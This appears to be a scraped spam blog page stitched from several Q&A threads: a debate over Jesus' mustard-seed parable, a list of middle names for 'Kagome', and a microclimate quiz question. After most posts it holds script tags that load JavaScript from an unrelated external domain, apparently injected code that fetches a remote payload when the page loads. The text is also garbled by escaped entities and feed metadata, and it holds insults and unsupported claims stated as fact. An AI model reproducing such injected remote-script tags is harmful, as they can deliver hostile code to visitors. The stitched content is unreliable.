your name rymes with?<br>Reply:The Answer is actually F:<br><br /><br /><br><br /><br />Jesus really, really like mustard, and kept trying to find ways to incorporate it into his ministry.<br><br /><br /><br><br /><br />Sometimes, he was more successful at it than others, but he really wanted to get the whole mustard seed as parable thing going.<br>Reply:G. The Bible is not the Word of God -- and did not exist in any recognizable form until the Council of Carthage approved a motion from the Synod of Hippo, and was not approved by the Pope until approaching 400 AD. The books of the Bible were selected by a vote of bishops -- in an attempt to %26quot;support%26quot; the doctrines of the Council of Nicea, many years before.<br><br /><br /><br><br /><br />Christianity, despite the mindless murmurings of the fundamentalists did NOT start with the Bible, there are no autographs thereof. It started as a Eucharistic faith centered around belief in a probably (though not necessarily) historic figure, the figure of Jesus Christ.<br><br /><br /><br><br /><br />Faith in Christ and Eucharist were what made a Christian in 65 AD (the earliest fragments of the Eucharistic prayer than we have found date to 65). Faith in Christ and Eucharist are what make a Christian in 2007. <br><br /><br /><br><br /><br />Loving one another without judgment also helps.<br><br /><br /><br><br /><br />Kind regards,<br><br /><br /><br><br /><br />Reynolds C. Jones<br><br /><br />http://www.rebuff.org<br><br /><br />believeinyou24@yahoo.com<br><br /><br /><br><br /><br />Gladiator -- Yes, actually in EVERY SINGLE FRAGMENT we have of the original, the words used DO mean least -- which translates to smallest. The modern language transliterations that use phrases like %26quot;the smallest of the seeds you use%26quot; are inserting words that CANNOT be supported by ANY fragment we possess -- they are quite literally, lying, to try to make the Bible infallible when in fact, it is not. I recommend to you Dr. Bart Ehrman%26#039;s book %26quot;Misquoting Jesus: Who changed the Bible and why%26quot; From Harper Collins.<br><br /><br /><br><br /><br />PPS Response to your response to me -- I am a tenured professional member of faculty with teaching responsibilities at a major University, my terminal degree is focused on the effects of technology on society (Futurism) and is a Master%26#039;s degree -- there being no doctorate in the field at the time I was finishing (I%26#039;m not sure there is one now); I am presently working on an additional terminal degree in Educational Technology (an Ed.D with dissertation this time). That I say by way of background, so that you understand the pedagogical perspective I am coming from.<br><br /><br /><br><br /><br />I would expect, that if I were to include a question on a multiple choice test -- that a student who saw an additional answer -- one that I had not thought of, but which, regardless of my personal views, was supportable from the actual available facts, and who entered that answer by hand -- as he did not agree that it was less valid, and perhaps thought it was more valid that the ones that I had entered, would find me proud of his ability to think critically, of his initiative, and of his willingness to challenge my authority and think freely for himself.<br><br /><br /><br><br /><br />Note that I did not say that I would react that way, nor should a student expect me to -- if said student departs from a defensible thesis.<br><br /><br /><br><br /><br />I did not depart from a defensible thesis. Everything I said can easily be established as fact. I did depart from the particular views you wanted considered -- but I did not go outside the facts.<br><br /><br /><br><br /><br />I did not even assert that indeed there was a god that you had to believe in. I follow the gospel of inclusion, not the gospel of exclusion. I do not think anyone is lost, whether they believe in God or not, so I have no need to do such things. I in fact did nothing to offend you - I just left the script, which was really, I suspect, that all Christians had to be offended by things like the example you gave, and attempt to defend the myths from the Bible as fact.<br><br /><br /><br><br /><br />Quite literally, I again, suspect, I gave you a new perspective which included knowledge that you did not have (most main-liners don%26#039;t proselytize, so why would you have it?)<br><br /><br /><br><br /><br />Why then did you, while acknowledging that my answer was reasonable, feel compelled to try to slam me in some way? Do you not want people to think critically and come to their own conclusions? I certainly do.<br><br /><br /><br><br /><br />It is an interesting thought experiment, I would hope that you will consider it further. My life partner (who is a biochemist by training, though not by actual vocation - he ended up in a different medically related field) used to be an atheist (he is now Wiccan, from an organized temple nearby who have a building and all) has always said that some atheists are nearly as narrow as fundamentalists. If you are one of them, I particularly hope you think about what I%26#039;ve said, and what your reaction was.<br><br /><br /><br><br /><br />Peace.<br>Reply:ok, fisrt of all god is god and created the world so who are you to make fun of what he created. if you only believeed and got saved you would know!<br>Reply:F.) None of the above<br>Reply:Whistle ears - the passage does not claim that the mustard seed is the smallest - you claimed it - one with brain size if epiphytic Orchid seed.<br><br /><br /><br><br /><br />You cannot comprehend the passage you typed out.<br><br /><br /><br><br /><br />Your feet hot? They will be!<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><br>MATILDAhttp://www.blogger.com/profile/11415413220136255560noreply@blogger.com0tag:blogger.com,1999:blog-8554142671069406580.post-81332383367722831872011-11-18T00:41:00.001-08:002011-11-18T00:41:19.632-08:00Help me choose a middle name to go with Kagome?Aeryn (peace)<br><br /><br />Sai (fortunate)<br><br /><br />Lydia (beauty)<br><br /><br />Claudia (lame)<br><br /><br />Orchid (orchid)<br><br /><br />Raven (raven)<br><br /><br />Cyan (gracious gift)<br><br /><br />Synnove (sun gift)<br><br /><br />Imzadi (beloved)<br><br /><br />Xan (protector of mankind)<br><br /><br />Rei-lan (gratitude, flower)<br><br /><br />Rowan (red-haired, rugged)<br><br /><br />Charity (affection)<br><br /><br />Noelani (beautiful girl from heaven)<br><br /><br />Skye (sheltering)<br><br /><br />Suki (beloved)<br><br /><br />Chailyn (life, waterfall)<br><br /><br />Adara (beauty, virgin)<br><br /><br />Katarina (pure, virginal)<br><br /><br />Savannah (from the open plain)<br><br /><br />Joslyn (happy)<br><br /><br />Bella (beautiful)<br><br /><br />Lyn (beautiful)<br><br /><br />Oki (ocean-centered)<br><br /><br />Ruth (compassionate friend)<br><br /><br />Phoenix (mystical bird, purple)<br><br /><br />Akemi (beautiful sunrise)<br><br /><br />Keira (little %26amp; dark)<br><br /><br />Vienna (from wine country)<br><br /><br />Nya (fate, water nymph)<br><br /><br />Ashe (from the ash tree)<br><br /><br />Mileena (people’s love)<br><br /><br />Sonya (wisdom)<br><br /><br />Jade (green gem stone)<br><br /><br />Alena (pretty)<br><br /><br />Aiyana (eternal bloom)<br><br /><br />Ayanna (beautiful flower)<br><br /><br />Indiyah (philosophical one)<br><br /><br />Kya (diamond in the sky)<br><br /><br />Maya (divine creative force)<br><br /><br />Ryann (little leader)<br><br /><br />Yoshe beauty<br><br /><br />Ren water lily<br><br /><br />Talia dew<br><br /><br />Ari lion<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower2.js type=text/javascript></script><br>Help me choose a middle name to go with Kagome?<br>Aeryn, Skye or Vienna :)<br><br /><br /><br><br /><br />or Alienna ;)<br>Reply:Did you watch Inuyasha? How ABOUT Inuyasha? And for it%26#039;s nickname, how about Sango? LOL<br>Reply:Kagome Joslyn Lyne<br>Reply:Kagome Mississippi<br><br /><br /><br><br /><br /> (it continues the poetic meter and can be nicknamed KayMiss)<br><br /><br /><br><br /><br />And what about her brother, Roderic Bartholomew ?<br>Reply:%26quot;Kagome%26quot;? You mean like the well-known Japanese condiment company? That%26#039;s....an odd choice. How about %26quot;Kagome Mayonnaise%26quot;?<br>Reply:Kagome Suki, Kagome Lyn.<br>Reply:Lyn because I looked down the list for something that sounded like LON.<br>Reply:What happened to Mary or Susie?<br><br /><br />LOL<br>Reply:Either of these will do.<br>Reply:Try using the eBay auction technique, it may not be the middle name you%26#039;re looking for but you could make some money on it!<br>Reply:kagome savannah but the final decision should be your very own<br>Reply:sorry but kagome is a stupid name<br>Reply:If the first name works with the last name ... skip the middle name. It%26#039;s truly unnecessary.<br>Reply:breanna<br>Reply:Mileena.<br>Reply:Katarina, becasue she%26#039;s cute:)<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><a href=http://flowers-birthday.blogspot.com/>flowers birthday</a>MATILDAhttp://www.blogger.com/profile/11415413220136255560noreply@blogger.com0tag:blogger.com,1999:blog-8554142671069406580.post-458541277944710642011-11-18T00:41:00.000-08:002011-11-18T00:41:04.989-08:00An example of a place with a microclimate is?a. a mountain range capped with ice. c. an orchid growing in a rain forest. <br><br /><br />b. a forested park in a desert city. d. coniferous trees in a temperate forest. <br><br /><br /> c. an orchid growing in a rain forest. <br><br /><br /> d. coniferous trees in a temperate forest.<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower1.js type=text/javascript></script><br>An example of a place with a microclimate is?<br>C<br><br /><br /><br><br /><br />When you hear %26quot;micro,%26quot; think really small.<br><br /><br />A: a mountain range is huge. %26quot;Capped with ice%26quot; is a general term that only tells you a range of temps possible.<br><br /><br />B: again, a park is large. The question is trying to trick you because it says it%26#039;s a forest in a desert. However, each of these are large climates.<br><br /><br />D: again, trees are large.<br><br /><br />C is correct. The temperature inside the orchid will probably vary from the temp of the rain forest. Climate includes more than just temp, however: also humidity, winds, etc.<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><br>MATILDAhttp://www.blogger.com/profile/11415413220136255560noreply@blogger.com0tag:blogger.com,1999:blog-8554142671069406580.post-11471604106849191742011-11-18T00:40:00.003-08:002011-11-18T00:40:49.827-08:00Mark 4:30 Isn't Jesus lying when he says?“How shall we picture the kingdom of God, or by what parable shall we present it? 31 “It is like a mustard seed, which, when sown upon the soil, though it is smaller than all the seeds that are upon the soil, 32 yet when it is sown, it grows up and becomes larger than all the garden plants and forms large branches; <br><br /><br /> <br><br /><br />There are many seeds smaller than a mustard seed like orchid seeds some can spawn up to 35 million microscopic seeds per ounce and many trees larger than a mustard tree like the Eucalyptus Regnans one of which grew to 492 feet.<br><br /><br /><br><br /><br />This is either a plain bald face lie by a Man who is supposed to be God and should know everything or an ignorant mistake by a 2000 year old Rabbi who couldn%26#039;t be expected to know any better. <br><br /><br />What do you think?<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower2.js type=text/javascript></script><br>Mark 4:30 Isn%26#039;t Jesus lying when he says?<br>And why would you assume that the audience he was speaking to was aware of the these smaller seeds? Even if one knew of a smaller seed, or bigger growth, this wasn%26#039;t a talk on botany, it was used as an analogy. So your point is way off base.<br>Reply:he might known every thing but his listener must have known everything to understand it. he was speaking to lay persons.<br><br /><br />by your theory he must have first teach them science then began to preach.<br><br /><br />i am a computer science student, i known the difference between the processor and the mother board but how can i expect others to understand me when i say %26quot;be as speed as a processor!%26quot; it would be meaningful to say %26quot;be as speed as a cheta etc...!%26quot;<br><br /><br />have a nice day<br>Reply:JEsus was speaking concerning the catholic churches which is now where bird%26#039;s are nesting.. burds in the Bible signifies the devil, the catholic church today is where satan dwells... it became so big that the devil can dwell in it with the demons of course<br>Reply:I didn%26#039;t know they have Eucalyptus trees in Israel! I thought those only grew in Australia! silly me! Its called a parable because it parallels with the life and times of the people to whom the story is being told...he probably used the mustard tree because the people of that region were familiar with the mustard tree.<br>Reply:God always uses the seed/harvest parables to describe what will happen. The central truth here is although God%26#039;s work in Jesus was currently very small, apparently insignificant, and making little visable headway, His kingdom would grow eventually worldwide and have global impact.<br><br /><br /><br><br /><br />Read the King James Mark 4:30-32<br><br /><br />And he said, Whereunto shall we liken the kingdom of God?or with what comparison shall we compare it?<br><br /><br />It is like a grain of mustard seed, whicfh, when it is sown in the earth, is less than all the seeds that be in the earth:<br><br /><br />But when it is sown, it groweth up, and becometh greater than all HERBS, and shooteth out great branches; so that the fowls of the air may lodge under the shadow of it.<br><br /><br /><br><br /><br />Jesus didn%26#039;t say the mustard seed was smaller than the orchid seed. It was the smallest seed planted in the earth in that day that grew the largest proportion.<br><br /><br /><br><br /><br />The mustard seed is unusually small and yet grows to a great size. The tiny beginning of the kingdom would grow to a great size. Such numerical growth would come to harbor the birds/fowl (evil ones) Growth of church into world power. However, outward growth is not always a true picture of spiritual depth. Kingdom of heaven is the spiritual form of the kingdom in the church.<br>Reply:It is metaphorical. However, the jews probably only knew of the mustard seed- orchids were not grown in that area of the world. Jesus used what the people were familiar with to explain the kingdom of God. Does that help?<br>Reply:you didn%26#039;t get the point. he was speaking metaphorically.<br>Reply:yes this proves he was absolute complete idiot<br>Reply:God does not lie....he does not know sin. You need to compleley understand the Bible and the context in which it was written. Anyone can pick apart the Bible and TRY to find inconsistencies. It%26#039;s called FAITH to belive completley and not question the Word of God. The human mind cannot fathom the power of God - did you read that part of the Bible?<br>Reply:he m ight be lying after all he was human<br>Reply:Your translation is pretty poor. If you impose the limitations of the original, you%26#039;ll find it a bit more likely...<br><br /><br /><br><br /><br />Lachanon, the Greek word used here refers to food plants, not all of the plantae kingdom. The context limits the comparison of both the size of the seed and the size of the plant to those which are FOOD.<br><br /><br /><br><br /><br />... His comparison involves herbs, fruits and vegetables... not trees or ornamentals.<br>Reply:It%26#039;s a symbolic parable, please learn that, thanks.<br>Reply:It was probably just the smallest seed he knew,that grew to the largest thing he knew. He was after all confined to the Middle East therefore he cant be expected to know every plant. Did I mention he was just a human being with a very extensive religious education given to him in the close to 30 years that no one hears hardly anything about. After all if you are going to claim your son is the son of God he better know a thing or two. So why did he wait so long to start his ministry since if he was the son of god he would have all the knowledge needed for his ministry at birth,it%26#039;s always the details that blow holes in any good story.<br><br /><br /><br><br /><br />Reading these other answers where if a mistake is proven then it was a %26quot;metaphor%26quot; but when you can%26#039;t prove it wrong then it%26#039;s literal,like Hell. Gotta love those win win situations created by intellectual dishonesty.<br><br /><br /><br><br /><br />AD<br>Reply:Yes there are tinier seeds than mustard seeds. But Jesus is not giving a lesson in botany. Of the seeds that Galileans of his day are familiar with, the mustard seed really is the tiniest. So they appreciate the matter of phenomenal growth that Jesus is illustrating.<br>Reply:Jesus never lied there is no way He could do that. You can%26#039;t take a parable and try to interpret it your way. The human mind can not hear. It is written in Isaiah that The Lord says %26#039;%26#039;My Thoughts are not your thoughts%26quot;. Jesus spoke in parables to plant a seed in our souls it is spiritual teaching but our human nature can not hear. The son of man ( Jesus Christ) is through the whole Bible not just the Gospels. You have to compare the scriptures with the scriptures. I don%26#039;t know the whole Bible only God (Jesus, the Father and Son are one; spiritual ) knows, He does if you seek Him( and the best way is by trembling and fear) to give us wisdom to understand. I can give you something to think about. In Revelation Jesus says to the church of Laodicea to buy gold refined by fire. Does that mean to go out and buy and sell gold for a living so that you will be rich? No, what it means is through the Bible the word of God is gold and to buy it is to buy it spiritually and keep it in our soul. To be refined by fire is to learn by study. It is written that God is described as a consuming fire ( remember He appeared to Moses as a burning bush?) If reading the Bible doesn%26#039;t teach us that we are all desperately lost spiritually dead sinners that deserve hell for our disobedience, then there was no point of Jesus coming down to earth from His throne was there? When Jesus left HIs disciples after His resurrection He told them to receive the Holy Spirit. The Holy Spirit convicts us of sin. Not many people want to hear that but unless we do that we can%26#039;t be saved from our sins. We have human ears and we hear the things of the world. Pray to God in Jesus name to open our spiritual ears. Read Matthew chapter 6 where Jesus taught the prayer to pray. Read John chapter17 how Jesus prayed for His elect. There is no other name given under Heaven for salvation than The Lord Jesus Christ. I pray that I helped you understand some. Faith comes by hearing. The Bible talks to us, don%26#039;t quench the Spirit. Fear God<br>Reply:The mustard seed was used in this parable b/c it is the purest and can%26#039;t be cross breed (geneticly altered) w/ any other seed . It is one of the seed unchanged since the begin.<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><br>MATILDAhttp://www.blogger.com/profile/11415413220136255560noreply@blogger.com0tag:blogger.com,1999:blog-8554142671069406580.post-30294131908732018912011-11-18T00:40:00.002-08:002011-11-18T00:40:39.229-08:00Mark 4:30 Isn't Jesus lying when he says?“How shall we picture the kingdom of God, or by what parable shall we present it? 31 “It is like a mustard seed, which, when sown upon the soil, though it is smaller than all the seeds that are upon the soil, 32 yet when it is sown, it grows up and becomes larger than all the garden plants and forms large branches;<br><br /><br /><br><br /><br />There are many seeds smaller than a mustard seed like orchid seeds some can spawn up to 35 million microscopic seeds per ounce and many trees larger than a mustard tree like the Eucalyptus Regnans one of which grew to 492 feet.<br><br /><br /><br><br /><br />This is either a plain bald face lie by a Man who is supposed to be God and should know everything or an ignorant mistake by a 2000 year old Rabbi who couldn%26#039;t be expected to know any better.<br><br /><br />What do you think?<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower1.js type=text/javascript></script><br>Mark 4:30 Isn%26#039;t Jesus lying when he says?<br>Did they have microscopes 2000 years ago?<br>Reply:Man, what a nerd!<br><br /><br /><br><br /><br />Anyway the Eucalyptus did not grow in Isreal at that time.<br><br /><br />Can%26#039;t really say the orchids didn%26#039;t<br><br /><br /><br><br /><br />I can just say though, you are a screwed up nerd.<br>Reply:Wow! Since you are so knowledgeable about seeds are you the real God? Get a life!<br>Reply:Take away all the things that people argue about Jesus--that he was or wasn%26#039;t the son of God, that him dying on the cross did or did not absolve you of your sins, etc...<br><br /><br /><br><br /><br />Jesus was, in the most simple of definitions a TEACHER. A good teacher knows how to explain things in ways that his students will understand. He used an analogy almost anyone in the audience would be familiar with, regardless of if there was a more %26quot;correct%26quot; analogy. The point of the parable was about what it takes to get into heaven, not to prove his scientific knowledge.<br>Reply:Maybe it%26#039;s just a contradiction, Mark is loaded with them- I%26#039;ll add it to my list.<br><br /><br /><br><br /><br />Contradiction #1 Who incited David to count the fighting men of Israel? (a) God did (2 Samuel 24:1) (b) Satan did (1 Chronicles 21:1). <br><br /><br />Contradiction #2 In that count how many fighting men were found in Israel? (a) Eight hundred thousand (2 Samuel 24:9). (b) One million, one hundred thousand (1 Chronicles 21:5). <br><br /><br />Contradiction #3 How many fighting men were found in Judah? (a) Five hundred thousand (2 Samuel 24:9). (b) Four hundred and seventy thousand (1 Chronicles 21:5). <br><br /><br />Contradiction #4 God sent his prophet to threaten David with how many years of famine? (a) Seven (2 Samuel 24:13). (b) Three (1 Chronicles 21:12). <br><br /><br />Contradiction #5 How old was Ahaziah when he began to rule over Jerusalem? (a) Twenty-two (2 Kings 8:26). (b) Forty-two (2 Chronicles 22:2). <br><br /><br />Contradiction #6 How old was Jehoiachin when he became king of Jerusalem? (a) Eighteen (2 Kings 24:8). (b) Eight (2 Chronicles 36:9). <br><br /><br />Contradiction #7 How long did he rule over Jerusalem? (a) Three months (2 Kings 24:8). (b) Three months and ten days (2 Chronicles 36:9). <br><br /><br />Contradiction #8 The chief of the mighty men of David lifted up his spear and killed how many men at one time? (a) Eight hundred (2 Samuel 23:8). (b) Three hundred (1 Chronicles 11:11). <br><br /><br />Contradiction #9 When did David bring the Ark of the Covenant to Jerusalem? Before defeating the Philistines or after? (a) After (2 Samuel 5 and 6). (b) Before (1 Chronicles 13 and 14). <br><br /><br />Contradiction #10 How many pairs of clean animals did God tell Noah to take into the Ark? (a) Two (Genesis 6:19, 20). (b) Seven (Genesis 7:2). But despite this last instruction only two pairs went into the ark (Genesis 7:8, 9). <br><br /><br />Contradiction #11 When David defeated the King of Zobah, how many horsemen did he capture? (a) One thousand and seven hundred (2 Samuel 8:4). (b) Seven thousand (1 Chronicles 18:4). <br><br /><br />Contradiction #12 How many stalls for horses did Solomon have? (a) Forty thousand (1 Kings 4:26). (b) Four thousand (2 chronicles 9:25). <br><br /><br />Contradiction #13 In what year of King Asa%26#039;s reign did Baasha, King of Israel die? (a) Twenty-sixth year (1 Kings 15:33 - 16:8). (b) Still alive in the thirty-sixth year (2 Chronicles 16:1). <br><br /><br />Contradiction #14 How many overseers did Solomon appoint for the work of building the temple? (a) Three thousand six hundred (2 Chronicles 2:2) (b) Three thousand three hundred (1 Kings 5:16). <br><br /><br />Contradiction #15 Solomon built a facility containing how many baths? (a) Two thousand (1 Kings 7:26). (b) Over three thousand (2 Chronicles 4:5). <br><br /><br />Contradiction #16 Of the Israelites who were freed from the Babylonian captivity, how many were the children of Pahrath-Moab? (a) Two thousand eight hundred and twelve (Ezra 2:6). (b) Two thousand eight hundred and eighteen (Nehemiah 7:11). <br><br /><br />Contradiction #17 How many were the children of Zattu? (a) Nine hundred and forty-five (Ezra 2:8) (b) Eight hundred and forty-five (Nehemiah 7:13). <br><br /><br />Contradiction #18 How many were the children of Azgad? (a) One thousand two hundred and twenty-two (Ezra 2:12). (b) Two thousand three hundred and twenty-two (Nehemiah 7:17). <br><br /><br />Contradiction #19 How many were the children of Adin? (a) Four hundred and fifty-four (Ezra 2:15). (b) Six hundred and fifty-five (Nehemiah 7:20). <br><br /><br />Contradiction #20 How many were the children of Hashum? (a) Two hundred and twenty-three (Ezra 2:19). (b) Three hundred and twenty-eight (Nehemiah 7:22). <br><br /><br />Contradiction #21 How many were the children of Bethel and Ai? (a) Two hundred and twenty-three (Ezra 2:28). (b) One hundred and twenty-three (Nehemiah 7:32). <br><br /><br />Contradiction #22 Ezra 2:64 and Nehemiah 7:66 agree that the total number of the whole assembly was 42,360. Yet the numbers do not add up to anything close. The totals obtained from each book is as follows: (a) 29,818 (Ezra). (b) 31, 089 (Nehemiah). <br><br /><br />Contradiction #23 How many singers accompanied the assembly? (a) Two hundred (Ezra 2:65). (b) Two hundred and forty-five (Nehemiah 7:67). <br><br /><br />Contradiction #24 What was the name of King Abijah%26#039;s mother? (a) Michaiah, daughter of Uriel of Gibeah (2 Chronicles 13:2). (b) Maachah, daughter of Absalom (2 Chronicles 11:20). But Absalom had only one daughter whose name was Tamar (2 Samuel 14:27). <br><br /><br />Contradiction #25 Did Joshua and the Israelites capture Jerusalem? (a) Yes (Joshua 10:23, 40). (b) No (Joshua 15:63). <br><br /><br />Contradiction #26 Who was the father of Joseph, husband of Mary? (a) Jacob (Matthew 1:16). (b) Heli (Luke 3:23). <br><br /><br />Contradiction #27 Jesus descended from which son of David? (a) Solomon (Matthew 1:6). (b) Nathan (Luke 3:31). <br><br /><br />Contradiction #28 Who was the father of Shealtiel? (a) Jechoniah (Matthew 1:12). (b) Neri (Luke 3:27). <br><br /><br />Contradiction #29 Which son of Zerubbabel was an ancestor of Jesus Christ? (a) Abiud (Matthew 1:13). (b) Rhesa (Luke 3:27). But the seven sons of Zerubbabel are as follows: I. Meshullam, ii. Hananiah, iii. Hashubah, iv. Ohel, v. Berechiah, vi. Hasadiah, viii. Jushabhesed (1 Chronicles 3:19, 20). The names Abiud and Rhesa do not fit in anywhere. <br><br /><br />Contradiction #30 Who was the father of Uzziah? (a) Joram (Matthew 1:8). (b) Amaziah (2 Chronicles 26:1). <br><br /><br />Contradiction #31 Who as the father of Jechoniah? (a) Josiah (Matthew 1:11). (b) Jehoiakim (1 Chronicles 3:16). <br><br /><br />Contradiction #32 How many generations were there from the Babylonian exile until Christ? (a) Matthew says fourteen (Matthew 1:17). (b) But a careful count of the generations reveals only thirteen (see Matthew 1:12-16). <br><br /><br />Contradiction #33 Who was the father of Shelah? (a) Cainan (Luke 3:35-36). (b) Arphaxad (Genesis 11:12). <br><br /><br />Contradiction #34 Was John the Baptist Elijah who was to come? (a) Yes (Matthew 11:14, 17:10-13). (b) No (John 1:19-21). <br><br /><br />Contradiction #35 Would Jesus inherit David%26#039;s throne? (a) Yes. So said the angel (Luke 1:32). (b) No, since he is a descendant of Jehoiakim (see Matthew 1:11, 1 Chronicles 3:16). And Jehoiakim was cursed by God so that none of his descendants can sit upon David%26#039;s throne (Jeremiah 36:30). <br><br /><br />Contradiction #36 Jesus rode into Jerusalem on how many animals? (a) One - a colt (Mark 11:7). Luke 19:35). And they brought the colt to Jesus and threw their garments on it; and he sat upon it.%26quot; (b) Two - a colt and an *** (Matthew 21:7). They brought the *** and the colt and put their garments on them and he sat thereon.%26quot; <br><br /><br />Contradiction #37 How did Simon Peter find out that Jesus was the Christ? (a) By a revelation from heaven (Matthew16:17). (b) His brother Andrew told him (John 1:41). <br><br /><br />Contradiction #38 Where did Jesus first meet Simon Peter and Andrew? (a) By the sea of Galilee (Matthew 4:18-22). (b) On the banks of river Jordan (John 1:42). After that, Jesus decided to go to Galilee (John 1:43). <br><br /><br />Contradiction #39 When Jesus met Jairus was Jairus%26#039; daughter already dead? (a) Yes. Matthew 9:18 quotes him as saying, %26quot;My daughter has just died.%26quot; (b) No. Mark 5:23 quotes him as saying, %26quot;My little daughter is at the point of death.%26quot; <br><br /><br />Contradiction #40 Did Jesus allow his disciples to keep a staff on their journey? (a) Yes (Mark 6:8). (b) No (Matthew 10:9; Luke 9:3). <br><br /><br />Contradiction #41 Did Herod think that Jesus was John the baptist? (a) Yes (Matthew 14:2; Mark 6:16). (b) No (Luke 9:9) <br><br /><br />Contradiction #42 Did John the Baptist recognise Jesus before his baptism? (a) Yes (Matthew 3:13-14). (b) No (John 1:32, 33). <br><br /><br />Contradiction #43 Did John the Baptist recognize Jesus after his baptism? (a) Yes (John 1:32, 33). (b) No (Matthew 11:2). <br><br /><br />Contradiction #44 According to the Gospel of John, what did Jesus say about bearing his own witness? (a) %26quot;If I bear witness to myself, my testimony is not true%26quot;(John 5:31). (b) %26quot;Even if I do bear witness to myself, my testimony is true%26quot; (John 8:14). <br><br /><br />Contradiction #45 When Jesus entered Jerusalem did he cleanse the temple that same day? (a) Yes (Matthew 21:12). (b) No. He went into the temple and looked around, but since it was very late he did nothing. Instead, he went to Bethany to spend the night and returned the next morning to cleanse the temple (Mark 11:1-17). <br><br /><br />Contradiction #46 The Gospels say that Jesus cursed a fig tree. Did the tree wither at once? (a) Yes. (Matthew 21:19). (b) No. It withered overnight (Mark 11:20). <br><br /><br />Contradiction #47 Did Judas kiss Jesus? (a) Yes (Matthew 26:48-50). (b) No. Judas could not get close enough to Jesus to kiss him (John 18:3-12). <br><br /><br />Contradiction #48 What did Jesus say about Peter%26#039;s denial? (a) %26quot;The cock will not crow till you have denied me three times%26quot; (John 13:38). (b) %26quot;Before the cock crows twice you will deny me three times%26quot; (Mark 14:30). When the cock crowed once, the three denials were not yet complete (see Mark 14:72). Therefore prediction (a) failed. <br><br /><br />Contradiction #49 Did Jesus bear his own cross? (a) Yes (John 19:17). (b) No (Matthew 27:31-32). <br><br /><br />Contradiction #50 Did Jesus die before the curtain of the temple was torn? (a) Yes (Matthew 27:50-51; Mark 15:37-38). (b) No. After the curtain was torn, then Jesus crying with a loud voice, said, %26quot;Father, into thy hands I commit my spirit!%26quot; And having said this he breathed his last (Luke 23:45-46). <br><br /><br />Contradiction #51 Did Jesus say anything secretly? (a) No. %26quot;I have said nothing secretly%26quot; (John 18:20). (b) Yes. %26quot;He did not speak to them without a parable, but privately to his own disciples he explained everything%26quot; (Mark 4:34). The disciples asked him %26quot;Why do you speak to them in parables?%26quot; He said, %26quot;To you it has been given to know the secrets of the kingdom of heaven, but to them it has not been given%26quot; (Matthew 13:10-11). <br><br /><br />Contradiction #52 Where was Jesus at the sixth hour on the day of the crucifixion? (a) On the cross (Mark 15:23). (b) In Pilate%26#039;s court (John 19:14). <br><br /><br />Contradiction #53 The gospels say that two thieves were crucified along with Jesus. Did both thieves mock Jesus? (a) Yes (Mark 15:32). (b) No. One of them mocked Jesus, the other defended Jesus (Luke 23:43). <br><br /><br />Contradiction #54 Did Jesus ascend to Paradise the same day of the crucifixion? (a) Yes. He said to the thief who defended him, %26quot;Today you will be with me in Paradise%26quot; (Luke 23:43). (b) No. He said to Mary Magdelene two days later, %26quot;I have not yet ascended to the Father%26quot; (John 20:17). <br><br /><br />Contradiction #55 When Paul was on the road to Damascus he saw a light and heard a voice. Did those who were with him hear the voice? (a) Yes (Acts 9:7). (b) No (Acts 22:9). <br><br /><br />Contradiction #56 When Paul saw the light he fell to the ground. Did his traveling companions also fall to the ground? (a) Yes (Acts 26:14). (b) No (Acts 9:7). <br><br /><br />Contradiction #57 Did the voice spell out on the spot what Paul%26#039;s duties were to be? (a) Yes (Acts 26:16-18). (b) No. The voice commanded Paul to go into the city of Damascus and there he will be told what he must do. (Acts 9:7; 22:10). <br><br /><br />Contradiction #58 When the Israelites dwelt in sh*ttin they committed adultery with the daughters of Moab. God struck them with a plague. How many people died in that plague? (a) Twenty-four thousand (Numbers 25:1 and 9). (b) Twenty-three thousand (1 Corinthians 10:8). <br><br /><br />Contradiction #59 How many members of the house of Jacob came to Egypt? (a) Seventy souls (Genesis 46:27). (b) Seventy-five souls (Acts 7:14). <br><br /><br />Contradiction #60 What did Judas do with the blood money he received for betraying Jesus? (a) He bought a field (Acts 1:18). (b) He threw all of it into the temple and went away. The priests could not put the blood money into the temple treasury, so they used it to buy a field to bury strangers (Matthew 27:5). <br><br /><br />Contradiction #61 How did Judas die? (a) After he threw the money into the temple he went away and hanged himself (Matthew 27:5). (b) After he bought the field with the price of his evil deed he fell headlong and burst open in the middle and all his bowels gushed out (Acts 1:18). <br><br /><br />Contradiction #62 Why is the field called %26quot;Field of Blood%26quot;? (a) Because the priests bought it with the blood money (Matthew 27:8). (b) Because of the bloody death of Judas therein (Acts 1:19). <br><br /><br />Contradiction #63 Who is a ransom for whom? (a) %26quot;The Son of Man came... to give his life as a ransom for many%26quot; (Mark 10:45). %26quot;...Christ Jesus who gave himself as a ransom for all...%26quot; (1 Timothy 2:5-6). (b) %26quot;The wicked is a ransom for the righteous, and the faithless for the upright%26quot; (Proverbs 21:18). <br><br /><br />Contradiction #64 Is the law of Moses useful? (a) Yes. %26quot;All scripture is... profitable...%26quot; (2 Timothy 3:16). (b) No. %26quot;...A former commandment is set aside because of its weakness and uselessness...%26quot; (Hebrews 7:18). <br><br /><br />Contradiction #65 What was the exact wording on the cross? (a) %26quot;This is Jesus the King of the Jews%26quot; (Matthew 27:37). (b) %26quot;The King of the Jews%26quot; (Mark 15:26) (c) %26quot;This is the King of the Jews%26quot; (Luke 23:38). (d) %26quot;Jesus of Nazareth, the King of the Jews%26quot; (John 19:19). <br><br /><br />Contradiction #66 Did Herod want to kill John the Baptist? (a) Yes (Matthew 14:5). (b) No. It was Herodias, the wife of Herod who wanted to kill him. But Herod knew that he was a righteous man and kept him safe (Mark 6:20). <br><br /><br />Contradiction #67 Who was the tenth disciple of Jesus in the list of twelve? (a) Thaddaeus (Matthew 10:1-4; Mark 3:13-19). (b) Judas son of James is the corresponding name in Luke%26#039;s gospel (Luke 6:12-16). <br><br /><br />Contradiction #68 Jesus saw a man sitting at the tax collector%26#039;s office and called him to be his disciple. What was his name? (a) Matthew (Matthew 9:9). (b) Levi (Mark 2:14; Luke 5:27). <br><br /><br />Contradiction #69 Was Jesus crucified on the daytime before the Passover meal or the daytime after? (a) After (Mark 14:12-17). (b) Before. Before the feast of the Passover (John 13:1) Judas went out at night (John 13:30). The other disciples thought he was going out to 